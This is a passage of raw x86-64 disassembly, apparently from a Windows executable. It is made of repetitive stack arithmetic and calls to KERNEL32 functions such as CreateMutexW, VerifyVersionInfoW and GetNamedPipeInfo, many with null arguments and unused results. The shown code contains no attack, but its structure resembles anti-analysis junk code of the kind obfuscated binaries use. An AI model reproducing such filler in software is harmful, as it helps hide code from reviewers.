xor r8d, r8d
mov edx, 0x10
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9b5c], eax
lea rax, [rsp + 0x9c24]
mov qword [rsp + 0x13ad8], rax
mov eax, dword [rsp + 0x9ae8]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x13ae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ae0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9b30], eax
mov eax, dword [rsp + 0x9bf4]
mov dword [rsp + 0x9c68], eax
movzx eax, byte [rsp + 0x2e7]
mov rcx, qword [0x140369d00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b8], al
mov rcx, qword [rsp + 0x12f38]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, word [rsp + 0x260c]
movzx ecx, word [rsp + 0x2c1c]
and eax, ecx
mov rcx, qword [0x140369ba0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9bdc], eax
mov eax, dword [0x14036245c]
mov dword [rsp + 0x9c6c], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13ae8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0x13118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7804]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13750]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a98], eax
lea rax, [rsp + 0x9bb8]
mov qword [rsp + 0x13af0], rax
mov rax, qword [rsp + 0x132a0]
movzx eax, byte [rax]
mov rcx, qword [0x140369d48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x741], al
movzx eax, word [rsp + 0x1dc8]
mov rcx, qword [rsp + 0x136d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x260c], ax
movsx eax, byte [rsp + 0x72c]
mov rcx, qword [rsp + 0x13050]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x559], al
mov rax, qword [0x140369cf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13658]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13740]
mov word [rcx], ax
mov rax, qword [rsp + 0x131d0]
mov eax, dword [rax]
mov dword [0x140369d90], eax
mov rax, qword [rsp + 0x13828]
mov eax, dword [rax]
mov dword [rsp + 0x9c70], eax
mov rax, qword [rsp + 0x13038]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x139c8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x131d8]
mov byte [rcx], al
lea rax, [rsp + 0x2bfc]
mov qword [rsp + 0x13af8], rax
mov rax, qword [rsp + 0x131f0]
mov ecx, dword [rsp + 0x59cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9acc], eax
mov eax, dword [rsp + 0x9b8c]
mov ecx, dword [rsp + 0x69c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
lea rax, [rsp + 0x567c]
mov qword [rsp + 0x13b00], rax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13860]
mov ecx, dword [rsp + 0x9b24]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
movzx eax, byte [0x1403525a3]
movzx ecx, byte [rsp + 0x755]
sar eax, cl
mov byte [rsp + 0x510], al
movzx eax, word [rsp + 0x2c1c]
mov rcx, qword [rsp + 0x136d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140362450], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [0x140369c00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b10]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x954c], eax
mov rax, qword [rsp + 0x12eb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x602c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x63d4], eax
lea rax, [rsp + 0x6218]
mov qword [rsp + 0x13b08], rax
mov rax, qword [rsp + 0x13190]
mov eax, dword [rax]
mov ecx, dword [0x140362464]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13860]
mov dword [rcx], eax
mov eax, dword [rsp + 0x5810]
mov dword [rsp + 0x9c74], eax
movsx eax, byte [rsp + 0x751]
mov rcx, qword [rsp + 0x12ef8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12ed0]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13b10], rax
mov rax, qword [rsp + 0x130f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov word [rsp + 0x1e24], ax
movzx eax, word [rsp + 0x2bbc]
movzx ecx, word [rsp + 0x2b88]
or eax, ecx
mov word [rsp + 0x1a5c], ax
lea rax, [rsp + 0x745]
mov qword [0x140369d98], rax
mov rax, qword [0x140369ba8]
mov ecx, dword [rsp + 0x9b1c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x132d8]
mov dword [rcx], eax
lea rax, [rsp + 0x9aa8]
mov qword [rsp + 0x13b18], rax
mov rax, qword [rsp + 0x13708]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13930]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13830]
mov byte [rcx], al
lea rax, [rsp + 0x178c]
mov qword [rsp + 0x13b20], rax
mov rax, qword [rsp + 0x13548]
mov ecx, dword [rsp + 0x9a6c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5b2c], eax
mov rax, qword [rsp + 0x13238]
mov rcx, qword [0x140369c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9aec], eax
lea rax, [rsp + 0x9bb0]
mov qword [rsp + 0x13b28], rax
mov rax, qword [rsp + 0x13198]
mov ecx, dword [rsp + 0x9c68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9ae8], eax
movzx eax, byte [rsp + 0x750]
movzx ecx, byte [rsp + 0x729]
shl eax, cl
mov rcx, qword [0x140369d40]
mov byte [rcx], al
mov rax, qword [rsp + 0x13610]
movzx eax, word [rax]
mov word [rsp + 0x2c24], ax
mov rax, qword [rsp + 0x12d88]
mov rcx, qword [rsp + 0x13a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x135b0]
mov dword [rcx], eax
mov rax, qword [0x140369ca0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9b84]
sar eax, cl
mov dword [rsp + 0x9aac], eax
mov rax, qword [rsp + 0x13050]
movzx eax, byte [rax]
mov byte [rsp + 0x757], al
movsx eax, word [rsp + 0x2bdc]
movsx ecx, word [rsp + 0x2c04]
or eax, ecx
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x137b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1310], ax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12f90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x147], al
mov rax, qword [rsp + 0x131d0]
mov rcx, qword [rsp + 0x13818]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
lea rax, [rsp + 0x9b7c]
mov qword [0x140369da0], rax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x13b30], rax
mov rax, qword [rsp + 0x137e8]
mov ecx, dword [rsp + 0x9ac0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99d8], eax
lea rax, [rsp + 0x9bb0]
mov qword [rsp + 0x13b38], rax
movzx eax, byte [rsp + 0x747]
movzx ecx, byte [rsp + 0x733]
sub eax, ecx
mov byte [rsp + 0x741], al
movzx eax, word [rsp + 0x2c18]
movzx ecx, word [rsp + 0x1bd4]
or eax, ecx
mov word [rsp + 0x2c00], ax
mov eax, dword [rsp + 0x9bc4]
mov dword [rsp + 0x9c78], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rax, qword [rsp + 0x135b0]
mov ecx, dword [rsp + 0x954c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13850]
mov dword [rcx], eax
lea rax, [rsp + 0x9b24]
mov qword [rsp + 0x13b40], rax
mov rax, qword [rsp + 0x13968]
mov eax, dword [rax]
mov dword [0x140369da8], eax
movzx eax, byte [rsp + 0x72f]
mov rcx, qword [rsp + 0x13a90]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f90]
mov byte [rcx], al
movzx eax, word [rsp + 0x29ac]
mov rcx, qword [rsp + 0x138e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2978], ax
mov rax, qword [rsp + 0x131b0]
movsx eax, byte [rax]
mov rcx, qword [0x140369cd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x736], al
movsx eax, word [rsp + 0x2c04]
mov rcx, qword [rsp + 0x13740]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x13230]
mov word [rcx], ax
lea rax, [rsp + 0x9a84]
mov qword [rsp + 0x13b48], rax
mov eax, dword [rsp + 0x9c00]
movzx ecx, al
mov eax, dword [rsp + 0x9ae4]
sar eax, cl
mov dword [rsp + 0x62f0], eax
movzx eax, word [rsp + 0x2c08]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x13930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131d8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x147], al
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [0x140369ce0]
or ecx, eax
mov eax, ecx
mov dword [0x140369bc4], eax
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x132b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x81d0], eax
lea rax, [rsp + 0x8ac4]
mov qword [rsp + 0x13b50], rax
mov rax, qword [rsp + 0x13368]
mov ecx, dword [rsp + 0x91dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bdc], eax
lea rax, [rsp + 0x1bd4]
mov qword [rsp + 0x13b58], rax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x147]
add eax, ecx
mov byte [rsp + 0x678], al
mov eax, dword [rsp + 0x9a90]
mov ecx, dword [rsp + 0x9a5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13688]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13988]
mov eax, dword [rax]
mov dword [rsp + 0x9c7c], eax
mov rax, qword [rsp + 0x12f58]
mov ecx, dword [rsp + 0x9688]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13700]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x78f4]
add ecx, eax
mov eax, ecx
mov dword [0x140369b9c], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x59fc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8860], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x4b010]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ad0], eax
movsx eax, byte [0x140363efc]
mov rcx, qword [rsp + 0x13a58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13550]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13b60], rax
movsx eax, word [rsp + 0x2bc8]
mov rcx, qword [rsp + 0x13008]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1938], ax
mov rax, qword [rsp + 0x131e8]
movzx eax, word [rax]
mov word [rsp + 0x2c2c], ax
mov rax, qword [0x140369d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x746]
add eax, ecx
mov rcx, qword [rsp + 0x13950]
mov byte [rcx], al
mov rax, qword [rsp + 0x13a00]
mov ecx, dword [rsp + 0x9b6c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7074], eax
mov eax, dword [0x140369d50]
movzx ecx, al
mov eax, dword [rsp + 0x5610]
shl eax, cl
mov rcx, qword [rsp + 0x139a0]
mov dword [rcx], eax
lea rax, [rsp + 0x2bb4]
mov qword [rsp + 0x13b68], rax
lea rax, [rsp + 0x755]
mov qword [0x140369db0], rax
mov rax, qword [rsp + 0x135f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x940c]
shr eax, cl
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x130c8]
mov rcx, qword [rsp + 0x132c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x13720]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rax, [rsp + 0x64b0]
mov qword [rsp + 0x13b70], rax
mov rax, qword [rsp + 0x13920]
mov ecx, dword [0x140369ce0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x134c8]
movzx eax, byte [rax]
mov byte [rsp + 0x758], al
movzx eax, word [rsp + 0x2bb8]
movzx ecx, word [rsp + 0x2c14]
and eax, ecx
mov word [rsp + 0x2bfc], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b94], eax
mov rax, qword [0x140369d60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7a5c], eax
mov eax, dword [rsp + 0x73c0]
mov dword [rsp + 0x9c80], eax
movsx eax, byte [rsp + 0x512]
movsx ecx, byte [rsp + 0x559]
sub eax, ecx
mov byte [0x1403525ae], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x4acb0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9c84], eax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x130f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x268c], ax
movzx eax, word [rsp + 0x2c08]
movzx ecx, word [rsp + 0x2bd8]
add eax, ecx
mov word [rsp + 0x12c4], ax
movzx eax, byte [rsp + 0x734]
mov rcx, qword [rsp + 0x134c8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0x13700]
mov ecx, dword [rsp + 0x9c28]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9a34], eax
lea rax, [rsp + 0x97b4]
mov qword [rsp + 0x13b78], rax
mov rax, qword [rsp + 0x133d0]
mov ecx, dword [0x14036244c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9b30], eax
mov eax, dword [rsp + 0x86dc]
mov dword [rsp + 0x9c88], eax
mov edx, 0x3f6
mov rcx, qword [rsp + 0x133f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9a08], eax
mov eax, dword [rsp + 0x9bc0]
mov rcx, qword [rsp + 0x13838]
mov qword [rsp + 0x13b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13b80]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
lea rdx, [rsp + 0x42d80]
mov rcx, qword [rsp + 0x13090]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9a0c], eax
movzx eax, word [rsp + 0x1384]
movzx ecx, word [0x140362494]
sar eax, cl
mov word [rsp + 0x2668], ax
movzx eax, byte [rsp + 0x74c]
movzx ecx, byte [rsp + 0x394]
cdq
idiv ecx
mov byte [0x140363f0e], al
mov rax, qword [rsp + 0x138f0]
mov ecx, dword [rsp + 0x9b48]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13620]
mov dword [rcx], eax
mov rax, qword [0x140369d30]
mov ecx, dword [rsp + 0x9bf4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bc0], eax
mov eax, dword [rsp + 0x9b78]
mov dword [rsp + 0x9c8c], eax
mov eax, dword [0x140369bc4]
mov ecx, dword [rsp + 0x6f2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a68]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x72b]
movzx ecx, byte [rsp + 0x678]
or eax, ecx
mov byte [rsp + 0x708], al
movzx eax, word [rsp + 0x2b80]
movzx ecx, word [rsp + 0x2bd4]
sub eax, ecx
mov rcx, qword [rsp + 0x13248]
mov word [rcx], ax
movsx eax, byte [0x1403525a2]
movsx ecx, byte [rsp + 0x730]
and eax, ecx
mov rcx, qword [rsp + 0x131b0]
mov byte [rcx], al
lea rax, [rsp + 0x1570]
mov qword [rsp + 0x13b88], rax
mov rax, qword [rsp + 0x130b0]
mov ecx, dword [rsp + 0x9748]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140369c70], eax
mov rax, qword [rsp + 0x12f40]
mov ecx, dword [rsp + 0x8f50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x130e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c28]
mov word [rsp + 0x2c30], ax
movzx eax, byte [rsp + 0x585]
movzx ecx, byte [rsp + 0x703]
add eax, ecx
mov byte [rsp + 0x204], al
mov eax, dword [rsp + 0x9bec]
mov ecx, dword [rsp + 0x9c24]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12e88]
mov dword [rcx], eax
lea rax, [rsp + 0x8e2c]
mov qword [rsp + 0x13b90], rax
mov rax, qword [rsp + 0x13720]
mov rcx, qword [rsp + 0x12fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
lea rax, [0x140362470]
mov qword [rsp + 0x13b98], rax
movzx eax, word [rsp + 0x1310]
mov rcx, qword [rsp + 0x137b0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2bcc], ax
lea rax, [rsp + 0x74e]
mov qword [0x140369db8], rax
mov eax, dword [rsp + 0x9c28]
mov ecx, dword [rsp + 0x9b8c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12f00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12eb8]
mov eax, dword [rax]
mov dword [rsp + 0x9c90], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9944], eax
mov eax, dword [rsp + 0x9c7c]
movzx ecx, al
mov eax, dword [rsp + 0x62f0]
shl eax, cl
mov rcx, qword [rsp + 0x13318]
mov dword [rcx], eax
lea rax, [0x140369bc0]
mov qword [rsp + 0x13ba0], rax
mov rax, qword [rsp + 0x13b98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13b08]
mov qword [rsp + 0x13ba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ba8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9c8c], eax
lea rax, [rsp + 0x756]
mov qword [rsp + 0x13bb0], rax
mov rax, qword [rsp + 0x13770]
movsx eax, word [rax]
mov rcx, qword [0x140369c10]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13a90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13950]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13a90]
mov byte [rcx], al
lea rax, [rsp + 0x2c14]
mov qword [0x140369dc0], rax
mov rax, qword [0x140369d08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9354]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7254], eax
mov rax, qword [rsp + 0x13438]
mov rcx, qword [rsp + 0x13ab0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7770], eax
lea rax, [rsp + 0x732]
mov qword [rsp + 0x13bb8], rax
mov rcx, qword [rsp + 0x13480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9c2c], eax
movzx eax, word [0x140362494]
movzx ecx, word [rsp + 0x2bd8]
sub eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
mov dword [rsp + 0x4b5b0], 0x11c
mov rax, qword [rsp + 0x137a8]
mov rcx, qword [rsp + 0x13540]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9bc4], eax
mov edx, 0x219c
mov rcx, qword [rsp + 0x13510]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9934], eax
lea rax, [rsp + 0x9c0c]
mov qword [rsp + 0x13bc0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x133d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a30], eax
mov eax, dword [rsp + 0x81e0]
mov dword [rsp + 0x9c94], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x13bc8], rax
movzx eax, word [rsp + 0x2978]
mov rcx, qword [rsp + 0x132b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140369b80]
mov word [rcx], ax
mov rax, qword [rsp + 0x13990]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12fc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x12f68]
mov rcx, qword [rsp + 0x13418]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9bcc], eax
lea rax, [rsp + 0x9b18]
mov qword [rsp + 0x13bd0], rax
mov rax, qword [0x140369cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b74]
sub eax, ecx
mov word [rsp + 0x1ed0], ax
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9a60], eax
lea rax, [rsp + 0x73e]
mov qword [rsp + 0x13bd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
movzx eax, byte [rsp + 0x739]
movzx ecx, byte [0x140363ede]
add eax, ecx
mov byte [rsp + 0x74a], al
lea rdx, [rsp + 0x42a70]
mov rcx, qword [rsp + 0x132f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9c98], eax
movzx eax, word [rsp + 0x2c30]
mov rcx, qword [rsp + 0x133d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x18cc], ax
mov eax, dword [rsp + 0x9a84]
movzx ecx, al
mov eax, dword [rsp + 0x6ef4]
shr eax, cl
mov dword [rsp + 0x91dc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x13108]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9ab4]
shl eax, cl
mov dword [0x140369da8], eax
mov rax, qword [rsp + 0x13570]
mov rcx, qword [rsp + 0x13b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9acc], eax
mov eax, dword [rsp + 0x9c28]
mov dword [rsp + 0x9c9c], eax
mov rax, qword [rsp + 0x13988]
mov rcx, qword [rsp + 0x12ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13ba0]
mov dword [rcx], eax
lea rax, [rsp + 0x2bbc]
mov qword [rsp + 0x13be0], rax
movzx eax, byte [rsp + 0x2b0]
mov rcx, qword [rsp + 0x13980]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x130b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13548]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b88], eax
lea rax, [rsp + 0x69c8]
mov qword [rsp + 0x13be8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10fa
mov r9d, 0x2380
mov r8d, 0x8eb5681a
mov edx, 2
mov rcx, qword [rsp + 0x13558]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9b5c], eax
mov rax, qword [rsp + 0x13108]
mov ecx, dword [rsp + 0x9a24]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9b44], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x13bf0], rax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9a38], eax
lea rax, [rsp + 0x9ad4]
mov qword [0x140369dc8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rax, qword [rsp + 0x13360]
movzx eax, word [rax]
mov word [rsp + 0x2c34], ax
xor r8d, r8d
mov edx, 0x20
lea rcx, [rsp + 0x4aef0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x9ca0], eax
movzx eax, byte [rsp + 0x4a8]
movzx ecx, byte [rsp + 0x746]
sub eax, ecx
mov rcx, qword [rsp + 0x13a38]
mov byte [rcx], al
movsx eax, word [rsp + 0x1e24]
mov rcx, qword [rsp + 0x13098]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b74], ax
lea rax, [rsp + 0x72c]
mov qword [rsp + 0x13bf8], rax
mov rax, qword [rsp + 0x13ab0]
mov ecx, dword [rsp + 0x5418]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x137d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13660]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8fa4], eax
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x20d8]
sub eax, ecx
mov word [rsp + 0x2c2c], ax
mov rax, qword [rsp + 0x13918]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1c8], al
lea rax, [rsp + 0x9b50]
mov qword [0x140369dd0], rax
mov rax, qword [rsp + 0x12ee8]
mov eax, dword [rax]
mov dword [rsp + 0x9ca4], eax
mov rax, qword [rsp + 0x13ba0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13b38]
mov qword [rsp + 0x13c00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13c00]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x9ae4], eax
lea rax, [rsp + 0x954c]
mov qword [rsp + 0x13c08], rax
movzx eax, byte [rsp + 0x74f]
mov rcx, qword [rsp + 0x136a8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x12fc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x13be0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13158]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x210c], ax
mov eax, dword [rsp + 0x53f0]
mov ecx, dword [rsp + 0x526c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13938]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9aac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f0], eax
lea rax, [rsp + 0x9b48]
mov qword [rsp + 0x13c10], rax
mov eax, dword [rsp + 0x9b78]
mov ecx, dword [rsp + 0x9b88]
add ecx, eax
mov eax, ecx
mov dword [0x140369bec], eax
mov rax, qword [rsp + 0x139b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b78]
and ecx, eax
